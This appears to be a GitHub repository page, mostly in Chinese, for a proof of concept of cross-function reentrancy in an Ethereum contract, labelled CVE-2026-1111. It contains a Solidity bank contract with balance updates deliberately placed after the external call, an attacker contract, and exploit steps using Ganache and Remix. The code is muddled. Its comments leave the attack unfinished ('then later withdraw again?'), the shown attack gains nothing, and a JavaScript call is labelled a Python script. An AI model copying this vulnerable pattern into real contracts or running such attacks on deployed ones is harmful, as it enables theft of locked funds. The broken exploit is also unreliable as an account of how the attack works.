George0Papasotiriou/CVE-2026-1111-Smart-Contract-Cross-Function-Reentrancy
GitHub: George0Papasotiriou/CVE-2026-1111-Smart-Contract-Cross-Function-Reentrancy
一个演示以太坊智能合约跨函数重入漏洞（CVE-2026-1111）的概念验证项目，包含易受攻击的合约代码与攻击脚本。
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## CVE-2026-1111 – 智能合约跨函数重入
### **程序代码 (Solidity + Python)**
```
// VulnerableBank.sol - Simplified reentrancy example with cross-function bypass
pragma solidity ^0.8.0;
contract VulnerableBank {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 amount) public {
require(balances[msg.sender] >= amount, "Insufficient balance");
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] -= amount;
}
// Second function that also modifies state after external call? Not present.
// Cross-function reentrancy: attacker calls withdraw(), which triggers fallback,
// then fallback calls another function that also transfers, bypassing nonReentrant if not global.
function transferTo(address to, uint256 amount) public {
require(balances[msg.sender] >= amount);
balances[msg.sender] -= amount;
balances[to] += amount;
}
}
// Attacker contract:
contract Attacker {
VulnerableBank bank;
constructor(address _bank) { bank = VulnerableBank(_bank); }
fallback() external payable {
if (address(bank).balance >= 1 ether) {
// Re-enter via transferTo instead of withdraw
bank.transferTo(address(this), 1 ether); // this changes balances mapping
// then later withdraw again? The point is to exploit reentrancy across functions.
}
}
function attack() public payable {
bank.deposit{value: 1 ether}();
bank.withdraw(1 ether);
}
}
```
# CVE-2026-1111 – 智能合约中的跨函数重入
## 概述
某智能合约缺乏全局重入防护，允许攻击者在 `withdraw` 调用期间通过不同的函数重新进入合约，从而绕过局部防护并耗尽资金。
## 漏洞详情
- **类型：** 重入 (Reentrancy)
- **影响：** 窃取所有锁定的 Ether。
- **根本原因：** `withdraw` 函数在完成外部调用后才更新余额，并且另一个会修改状态的函数 (`transferTo`) 可能会被重入调用，从而操纵余额。
## 漏洞利用演示
1. 启动本地 Ethereum 节点 (Ganache)：
ganache-cli
2. 使用 Remix 或 Truffle 部署 VulnerableBank.sol 和 Attacker.sol。
3. 通过 Python 脚本执行攻击（使用 Remix 控制台模拟）：
attacker.attack({value: web3.utils.toWei("1", "ether")})
标签：Maven, PoC, Solidity, 区块链安全, 智能合约, 暴力破解, 漏洞验证, 逆向工具, 重入攻击